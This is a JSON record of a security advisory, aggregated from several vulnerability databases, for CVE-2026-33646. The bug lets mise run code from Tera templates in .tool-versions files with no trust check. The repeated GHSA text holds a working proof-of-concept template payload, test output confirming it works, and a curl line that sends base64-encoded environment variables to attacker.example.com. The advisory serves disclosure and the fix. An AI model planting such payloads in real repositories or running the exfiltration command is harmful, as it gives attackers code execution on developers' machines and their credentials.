{"id":"CVE-2026-33646","aliases":["EUVD-2026-39816","GHSA-fjj5-v948-whjj"],"status":"published","title":"mise: Arbitrary Code Execution via Tera Templates in .tool-versions Files (Trust Bypass)","description":"mise manages dev tools like node, python, cmake, and terraform. Prior to 2026.3.10, mise processes .tool-versions files through the Tera template engine during parsing, with the exec() function registered, enabling arbitrary command execution. Unlike .mise.toml files, .tool-versions files are not subject to trust verification in non-paranoid mode. This means an attacker can place a malicious .tool-versions file in a git repository, and when a victim with mise activated cds into the directory, arbitrary commands execute without any trust prompt. This vulnerability is fixed in 2026.3.10.","severity":{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00461,"percentile":0.40248,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-94"],"published":"2026-06-22T17:19:56Z","modified":"2026-10-28T02:31:09Z","fixes":[{"ecosystem":"crates.io","package":"mise","fixed_in":["2026.3.10"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"crates.io","package":"mise","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2026.3.10"}]}]},{"source":"osv","ecosystem":"crates.io","package":"mise","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2026.3.10"}]}]}],"products":[{"vendor":"jdx","product":"mise"}],"references":[{"url":"https://github.com/jdx/mise/security/advisories/GHSA-fjj5-v948-whjj","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33646","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-fjj5-v948-whjj"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33646.json","tags":["advisory"]},{"url":"https://github.com/jdx/mise","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-33646","title":"mise: Arbitrary Code Execution via Tera Templates in .tool-versions Files (Trust Bypass)","description":"mise manages dev tools like node, python, cmake, and terraform. Prior to 2026.3.10, mise processes .tool-versions files through the Tera template engine during parsing, with the exec() function registered, enabling arbitrary command execution. Unlike .mise.toml files, .tool-versions files are not subject to trust verification in non-paranoid mode. This means an attacker can place a malicious .tool-versions file in a git repository, and when a victim with mise activated cds into the directory, arbitrary commands execute without any trust prompt. This vulnerability is fixed in 2026.3.10.","status":"published","published":"2026-06-26T16:51:44.261Z","modified":"2026-06-29T13:28:19.212Z","cvss":[{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:20:07.609948Z"}],"euvd":[{"id":"EUVD-2026-39816","description":"mise manages dev tools like node, python, cmake, and terraform. Prior to 2026.3.10, mise processes .tool-versions files through the Tera template engine during parsing, with the exec() function registered, enabling arbitrary command execution. Unlike .mise.toml files, .tool-versions files are not subject to trust verification in non-paranoid mode. This means an attacker can place a malicious .tool-versions file in a git repository, and when a victim with mise activated cds into the directory, arbitrary commands execute without any trust prompt. This vulnerability is fixed in 2026.3.10.","status":"published","published":"2026-06-26T16:51:44Z","modified":"2026-06-29T13:28:19Z","cvss":[{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T18:20:22.87152Z"}],"ghsa":[{"id":"GHSA-fjj5-v948-whjj","title":"Mise Vulnerable to Arbitrary Code Execution via Tera Templates in .tool-versions Files (Trust Bypass)","description":"## Summary\n\nMise processes `.tool-versions` files through the Tera template engine during parsing, with the `exec()` function registered, enabling arbitrary command execution. Unlike `.mise.toml` files, `.tool-versions` files are **not subject to trust verification** in non-paranoid mode. This means an attacker can place a malicious `.tool-versions` file in a git repository, and when a victim with mise activated `cd`s into the directory, arbitrary commands execute without any trust prompt.\n\n## Vulnerability Details\n\n### Vulnerable Code\n\n**File:** `src/config/config_file/tool_versions.rs`, lines 60-63\n\n```rust\npub fn parse_str(s: \u0026str, path: PathBuf) -\u003e Result\u003cSelf\u003e {\n    let mut cf = Self::init(\u0026path);\n    let dir = path.parent();\n    let s = get_tera(dir).render_str(s, \u0026cf.context)?;  // \u003c-- No trust check\n    // ...\n}\n```\n\n**File:** `src/tera.rs`, lines 385-391\n\n```rust\npub fn get_tera(dir: Option\u003c\u0026Path\u003e) -\u003e Tera {\n    let mut tera = TERA.clone();\n    let dir = dir.map(PathBuf::from);\n    tera.register_function(\"exec\", tera_exec(dir.clone(), env::PRISTINE_ENV.clone()));\n    tera.register_function(\"read_file\", tera_read_file(dir));\n    tera\n}\n```\n\n**File:** `src/tera.rs`, lines 394-452 -- `tera_exec` passes the `command` argument to a shell for execution with no restrictions.\n\n**File:** `src/config/config_file/mod.rs`, lines 272-287\n\n```rust\npub async fn parse(path: \u0026Path) -\u003e Result\u003cArc\u003cdyn ConfigFile\u003e\u003e {\n    if let Ok(settings) = Settings::try_get()\n        \u0026\u0026 settings.paranoid\n    {\n        trust_check(path)?;  // Only in paranoid mode!\n    }\n    match detect_config_file_type(path).await {\n        // ...\n        Some(ConfigFileType::ToolVersions) =\u003e Ok(Arc::new(ToolVersions::from_file(path)?)),\n        // ...\n    }\n}\n```\n\n### Attack Vector\n\n1. An attacker creates a `.tool-versions` file in a git repository containing Tera template syntax with the `exec()` function.\n2. The victim clones the repository and has mise activated in their shell (via `eval \"$(mise activate zsh)\"` or equivalent).\n3. When the victim `cd`s into the repository directory, mise's shell hook (`hook-env`) fires automatically.\n4. `hook-env` loads and parses config files, including `.tool-versions`.\n5. During parsing, `ToolVersions::parse_str` processes the file content through `get_tera(dir).render_str()`.\n6. The Tera engine evaluates `{{ exec(command=\"...\") }}`, executing arbitrary commands as the victim's user.\n7. No trust prompt is displayed because `trust_check` is not called for `.tool-versions` files in non-paranoid mode.\n\n### Execution Context\n\n- Commands execute as the current user with full access to their environment.\n- The pristine environment (`env::PRISTINE_ENV`) is passed to the executed command, which includes all of the user's environment variables (potentially including tokens, credentials, SSH agents, etc.).\n- Execution happens silently during the prompt hook -- the user sees no indication that code was run.\n\n### Contrast with .mise.toml\n\n`.mise.toml` files are protected: `MiseToml::from_str()` calls `trust_check(path)` before any parsing occurs (line 213 of `mise_toml.rs`). During `hook-env`, untrusted `.mise.toml` files fail to parse with an `UntrustedConfig` error, preventing any code execution. `.tool-versions` files lack this protection entirely.\n\n## Steps to Reproduce\n\n### Prerequisites\n\n- mise installed (`brew install mise` or equivalent)\n- Shell activation enabled: `eval \"$(mise activate zsh)\"` (or bash/fish)\n- Default settings (paranoid mode NOT enabled — this is the default)\n\n### PoC: Silent RCE on `cd`\n\n**Step 1:** Create a directory simulating a cloned repository with a malicious `.tool-versions`:\n\n```bash\nmkdir -p /tmp/poc-mise-repo\ncd /tmp/poc-mise-repo\ngit init\n\ncat \u003e .tool-versions \u003c\u003c 'EOF'\n{{ exec(command=\"id \u003e /tmp/mise-rce-proof \u0026\u0026 echo SUCCESS=$(whoami) \u003e\u003e /tmp/mise-rce-proof \u0026\u0026 date \u003e\u003e /tmp/mise-rce-proof\") }}node 20.0.0\npython 3.11.0\nEOF\n\ngit add -A \u0026\u0026 git commit -m \"Initial commit\"\n```\n\nNote: The `exec()` output is concatenated with `node` so the resulting line parses as a valid tool-versions entry. The payload redirects all output to a file, producing no stdout — the `exec()` returns an empty string, making the line evaluate to `node 20.0.0`.\n\n**Step 2:** In a new shell with mise activated, enter the directory:\n\n```bash\neval \"$(mise activate zsh)\"\ncd /tmp/poc-mise-repo\n```\n\n**Step 3:** Verify arbitrary code execution:\n\n```bash\ncat /tmp/mise-rce-proof\n```\n\n**Expected output:**\n```\nuid=501(youruser) gid=20(staff) groups=20(staff),...\nSUCCESS=youruser\nMon Mar 16 21:34:46 IST 2026\n```\n\nNo trust prompt, no warning, no error output. The `id` command executed silently as the current user.\n\n### Validated Test Results\n\nTested on 2026-03-16 with:\n- mise 2026.3.9 macos-arm64\n- macOS Darwin 24.5.0 arm64\n- zsh 5.9\n- Paranoid mode: `false` (default)\n\n**Test 1 — `.tool-versions` (no trust check):**\n```\n$ rm -f /tmp/mise-rce-proof\n$ zsh -c 'eval \"$(mise activate zsh)\" \u0026\u0026 cd /tmp/poc-mise-repo \u0026\u0026 pwd'\n/tmp/poc-mise-repo\n$ cat /tmp/mise-rce-proof\nuid=501(golan) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),...\nSUCCESS=golan\nMon Mar 16 21:34:46 IST 2026\n```\n\nCommand executed silently. No trust prompt. No errors.\n\n**Test 2 — `.mise.toml` with same payload (trust check blocks execution):**\n```\n$ mkdir -p /tmp/poc-mise-toml\n$ cat \u003e /tmp/poc-mise-toml/.mise.toml \u003c\u003c 'TOMLEOF'\n[tools]\nnode = \"{{ exec(command='id \u003e /tmp/mise-hook-pwned') }}20.0.0\"\nTOMLEOF\n$ rm -f /tmp/mise-hook-pwned\n$ zsh -c 'eval \"$(mise activate zsh)\" \u0026\u0026 cd /tmp/poc-mise-toml \u0026\u0026 pwd'\nmise ERROR Config files in /private/tmp/poc-mise-toml/.mise.toml are not trusted.\nTrust them with `mise trust`. See https://mise.jdx.dev/cli/trust.html\n$ cat /tmp/mise-hook-pwned\ncat: /tmp/mise-hook-pwned: No such file or directory\n```\n\n`.mise.toml` correctly blocked by trust verification. `.tool-versions` bypasses it entirely.\n\n### Alternative PoC (data exfiltration)\n\n```\n{{ exec(command=\"curl -s -X POST -d \\\"$(env | base64)\\\" https://attacker.example.com/collect -o /dev/null\") }}python 3.11.0\n```\n\n## Impact\n\n- **Arbitrary code execution** on any machine where a user with mise activated enters a directory containing a malicious `.tool-versions` file.\n- **Supply chain attack vector**: `.tool-versions` is a widely-used convention from asdf-vm and is commonly committed to repositories. Developers expect it to contain only tool names and versions, not executable content.\n- **Silent execution**: No trust prompt, warning, or user interaction required.\n- **Full user privilege escalation**: Commands run with the full privileges and environment of the current user.\n- **Credential theft**: The user's full environment (including tokens, API keys, SSH agent) is available to the executed command.\n- **Widespread potential impact**: Any open-source project with a `.tool-versions` file could be targeted. A malicious PR adding tera syntax to an existing `.tool-versions` file could execute code on all reviewers' machines.\n\n## Suggested Fix\n\n### Option 1: Add trust_check to .tool-versions parsing (recommended)\n\n```rust\n// In src/config/config_file/tool_versions.rs\npub fn from_file(path: \u0026Path) -\u003e Result\u003cSelf\u003e {\n    trace!(\"parsing tool-versions: {}\", path.display());\n    Self::parse_str(\u0026file::read_to_string(path)?, path.to_path_buf())\n}\n\npub fn parse_str(s: \u0026str, path: PathBuf) -\u003e Result\u003cSelf\u003e {\n    let mut cf = Self::init(\u0026path);\n    let dir = path.parent();\n    // Only use tera if the file contains template syntax AND is trusted\n    let s = if s.contains(\"{{\") || s.contains(\"{%\") || s.contains(\"{#\") {\n        trust_check(\u0026path)?;\n        get_tera(dir).render_str(s, \u0026cf.context)?\n    } else {\n        s.to_string()\n    };\n    // ...\n}\n```\n\n### Option 2: Remove exec() from .tool-versions tera context\n\nCreate a separate `get_tera_safe()` that does not register the `exec` function, and use it for `.tool-versions` parsing.\n\n### Option 3: Remove tera processing from .tool-versions entirely\n\n`.tool-versions` is an asdf-compatible format that historically does not support templates. Removing tera from its parsing would be the safest approach and most consistent with user expectations.","status":"published","published":"2026-06-22T17:19:56Z","modified":"2026-07-21T15:04:16Z","cvss":[{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:40:49.410128Z"}],"nvd":[{"id":"CVE-2026-33646","description":"mise manages dev tools like node, python, cmake, and terraform. Prior to 2026.3.10, mise processes .tool-versions files through the Tera template engine during parsing, with the exec() function registered, enabling arbitrary command execution. Unlike .mise.toml files, .tool-versions files are not subject to trust verification in non-paranoid mode. This means an attacker can place a malicious .tool-versions file in a git repository, and when a victim with mise activated cds into the directory, arbitrary commands execute without any trust prompt. This vulnerability is fixed in 2026.3.10.","status":"published","published":"2026-06-26T18:16:58.42Z","modified":"2026-10-25T17:10:00.197Z","cvss":[{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:12:26.045561Z"}],"osv":[{"id":"CVE-2026-33646","title":"mise: Arbitrary Code Execution via Tera Templates in .tool-versions Files (Trust Bypass)","description":"mise manages dev tools like node, python, cmake, and terraform. Prior to 2026.3.10, mise processes .tool-versions files through the Tera template engine during parsing, with the exec() function registered, enabling arbitrary command execution. Unlike .mise.toml files, .tool-versions files are not subject to trust verification in non-paranoid mode. This means an attacker can place a malicious .tool-versions file in a git repository, and when a victim with mise activated cds into the directory, arbitrary commands execute without any trust prompt. This vulnerability is fixed in 2026.3.10.","status":"published","published":"2026-06-26T16:51:44.261Z","modified":"2026-10-28T02:31:09.087489612Z","cvss":[{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:45:01.896044Z"},{"id":"GHSA-fjj5-v948-whjj","title":"Mise Vulnerable to Arbitrary Code Execution via Tera Templates in .tool-versions Files (Trust Bypass)","description":"## Summary\n\nMise processes `.tool-versions` files through the Tera template engine during parsing, with the `exec()` function registered, enabling arbitrary command execution. Unlike `.mise.toml` files, `.tool-versions` files are **not subject to trust verification** in non-paranoid mode. This means an attacker can place a malicious `.tool-versions` file in a git repository, and when a victim with mise activated `cd`s into the directory, arbitrary commands execute without any trust prompt.\n\n## Vulnerability Details\n\n### Vulnerable Code\n\n**File:** `src/config/config_file/tool_versions.rs`, lines 60-63\n\n```rust\npub fn parse_str(s: \u0026str, path: PathBuf) -\u003e Result\u003cSelf\u003e {\n    let mut cf = Self::init(\u0026path);\n    let dir = path.parent();\n    let s = get_tera(dir).render_str(s, \u0026cf.context)?;  // \u003c-- No trust check\n    // ...\n}\n```\n\n**File:** `src/tera.rs`, lines 385-391\n\n```rust\npub fn get_tera(dir: Option\u003c\u0026Path\u003e) -\u003e Tera {\n    let mut tera = TERA.clone();\n    let dir = dir.map(PathBuf::from);\n    tera.register_function(\"exec\", tera_exec(dir.clone(), env::PRISTINE_ENV.clone()));\n    tera.register_function(\"read_file\", tera_read_file(dir));\n    tera\n}\n```\n\n**File:** `src/tera.rs`, lines 394-452 -- `tera_exec` passes the `command` argument to a shell for execution with no restrictions.\n\n**File:** `src/config/config_file/mod.rs`, lines 272-287\n\n```rust\npub async fn parse(path: \u0026Path) -\u003e Result\u003cArc\u003cdyn ConfigFile\u003e\u003e {\n    if let Ok(settings) = Settings::try_get()\n        \u0026\u0026 settings.paranoid\n    {\n        trust_check(path)?;  // Only in paranoid mode!\n    }\n    match detect_config_file_type(path).await {\n        // ...\n        Some(ConfigFileType::ToolVersions) =\u003e Ok(Arc::new(ToolVersions::from_file(path)?)),\n        // ...\n    }\n}\n```\n\n### Attack Vector\n\n1. An attacker creates a `.tool-versions` file in a git repository containing Tera template syntax with the `exec()` function.\n2. The victim clones the repository and has mise activated in their shell (via `eval \"$(mise activate zsh)\"` or equivalent).\n3. When the victim `cd`s into the repository directory, mise's shell hook (`hook-env`) fires automatically.\n4. `hook-env` loads and parses config files, including `.tool-versions`.\n5. During parsing, `ToolVersions::parse_str` processes the file content through `get_tera(dir).render_str()`.\n6. The Tera engine evaluates `{{ exec(command=\"...\") }}`, executing arbitrary commands as the victim's user.\n7. No trust prompt is displayed because `trust_check` is not called for `.tool-versions` files in non-paranoid mode.\n\n### Execution Context\n\n- Commands execute as the current user with full access to their environment.\n- The pristine environment (`env::PRISTINE_ENV`) is passed to the executed command, which includes all of the user's environment variables (potentially including tokens, credentials, SSH agents, etc.).\n- Execution happens silently during the prompt hook -- the user sees no indication that code was run.\n\n### Contrast with .mise.toml\n\n`.mise.toml` files are protected: `MiseToml::from_str()` calls `trust_check(path)` before any parsing occurs (line 213 of `mise_toml.rs`). During `hook-env`, untrusted `.mise.toml` files fail to parse with an `UntrustedConfig` error, preventing any code execution. `.tool-versions` files lack this protection entirely.\n\n## Steps to Reproduce\n\n### Prerequisites\n\n- mise installed (`brew install mise` or equivalent)\n- Shell activation enabled: `eval \"$(mise activate zsh)\"` (or bash/fish)\n- Default settings (paranoid mode NOT enabled — this is the default)\n\n### PoC: Silent RCE on `cd`\n\n**Step 1:** Create a directory simulating a cloned repository with a malicious `.tool-versions`:\n\n```bash\nmkdir -p /tmp/poc-mise-repo\ncd /tmp/poc-mise-repo\ngit init\n\ncat \u003e .tool-versions \u003c\u003c 'EOF'\n{{ exec(command=\"id \u003e /tmp/mise-rce-proof \u0026\u0026 echo SUCCESS=$(whoami) \u003e\u003e /tmp/mise-rce-proof \u0026\u0026 date \u003e\u003e /tmp/mise-rce-proof\") }}node 20.0.0\npython 3.11.0\nEOF\n\ngit add -A \u0026\u0026 git commit -m \"Initial commit\"\n```\n\nNote: The `exec()` output is concatenated with `node` so the resulting line parses as a valid tool-versions entry. The payload redirects all output to a file, producing no stdout — the `exec()` returns an empty string, making the line evaluate to `node 20.0.0`.\n\n**Step 2:** In a new shell with mise activated, enter the directory:\n\n```bash\neval \"$(mise activate zsh)\"\ncd /tmp/poc-mise-repo\n```\n\n**Step 3:** Verify arbitrary code execution:\n\n```bash\ncat /tmp/mise-rce-proof\n```\n\n**Expected output:**\n```\nuid=501(youruser) gid=20(staff) groups=20(staff),...\nSUCCESS=youruser\nMon Mar 16 21:34:46 IST 2026\n```\n\nNo trust prompt, no warning, no error output. The `id` command executed silently as the current user.\n\n### Validated Test Results\n\nTested on 2026-03-16 with:\n- mise 2026.3.9 macos-arm64\n- macOS Darwin 24.5.0 arm64\n- zsh 5.9\n- Paranoid mode: `false` (default)\n\n**Test 1 — `.tool-versions` (no trust check):**\n```\n$ rm -f /tmp/mise-rce-proof\n$ zsh -c 'eval \"$(mise activate zsh)\" \u0026\u0026 cd /tmp/poc-mise-repo \u0026\u0026 pwd'\n/tmp/poc-mise-repo\n$ cat /tmp/mise-rce-proof\nuid=501(golan) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),...\nSUCCESS=golan\nMon Mar 16 21:34:46 IST 2026\n```\n\nCommand executed silently. No trust prompt. No errors.\n\n**Test 2 — `.mise.toml` with same payload (trust check blocks execution):**\n```\n$ mkdir -p /tmp/poc-mise-toml\n$ cat \u003e /tmp/poc-mise-toml/.mise.toml \u003c\u003c 'TOMLEOF'\n[tools]\nnode = \"{{ exec(command='id \u003e /tmp/mise-hook-pwned') }}20.0.0\"\nTOMLEOF\n$ rm -f /tmp/mise-hook-pwned\n$ zsh -c 'eval \"$(mise activate zsh)\" \u0026\u0026 cd /tmp/poc-mise-toml \u0026\u0026 pwd'\nmise ERROR Config files in /private/tmp/poc-mise-toml/.mise.toml are not trusted.\nTrust them with `mise trust`. See https://mise.jdx.dev/cli/trust.html\n$ cat /tmp/mise-hook-pwned\ncat: /tmp/mise-hook-pwned: No such file or directory\n```\n\n`.mise.toml` correctly blocked by trust verification. `.tool-versions` bypasses it entirely.\n\n### Alternative PoC (data exfiltration)\n\n```\n{{ exec(command=\"curl -s -X POST -d \\\"$(env | base64)\\\" https://attacker.example.com/collect -o /dev/null\") }}python 3.11.0\n```\n\n## Impact\n\n- **Arbitrary code execution** on any machine where a user with mise activated enters a directory containing a malicious `.tool-versions` file.\n- **Supply chain attack vector**: `.tool-versions` is a widely-used convention from asdf-vm and is commonly committed to repositories. Developers expect it to contain only tool names and versions, not executable content.\n- **Silent execution**: No trust prompt, warning, or user interaction required.\n- **Full user privilege escalation**: Commands run with the full privileges and environment of the current user.\n- **Credential theft**: The user's full environment (including tokens, API keys, SSH agent) is available to the executed command.\n- **Widespread potential impact**: Any open-source project with a `.tool-versions` file could be targeted. A malicious PR adding tera syntax to an existing `.tool-versions` file could execute code on all reviewers' machines.\n\n## Suggested Fix\n\n### Option 1: Add trust_check to .tool-versions parsing (recommended)\n\n```rust\n// In src/config/config_file/tool_versions.rs\npub fn from_file(path: \u0026Path) -\u003e Result\u003cSelf\u003e {\n    trace!(\"parsing tool-versions: {}\", path.display());\n    Self::parse_str(\u0026file::read_to_string(path)?, path.to_path_buf())\n}\n\npub fn parse_str(s: \u0026str, path: PathBuf) -\u003e Result\u003cSelf\u003e {\n    let mut cf = Self::init(\u0026path);\n    let dir = path.parent();\n    // Only use tera if the file contains template syntax AND is trusted\n    let s = if s.contains(\"{{\") || s.contains(\"{%\") || s.contains(\"{#\") {\n        trust_check(\u0026path)?;\n        get_tera(dir).render_str(s, \u0026cf.context)?\n    } else {\n        s.to_string()\n    };\n    // ...\n}\n```\n\n### Option 2: Remove exec() from .tool-versions tera context\n\nCreate a separate `get_tera_safe()` that does not register the `exec` function, and use it for `.tool-versions` parsing.\n\n### Option 3: Remove tera processing from .tool-versions entirely\n\n`.tool-versions` is an asdf-compatible format that historically does not support templates. Removing tera from its parsing would be the safest approach and most consistent with user expectations.","status":"published","published":"2026-06-22T17:19:56Z","modified":"2026-07-21T15:15:49.936731548Z","cvss":[{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:46:46.39441Z"}]}}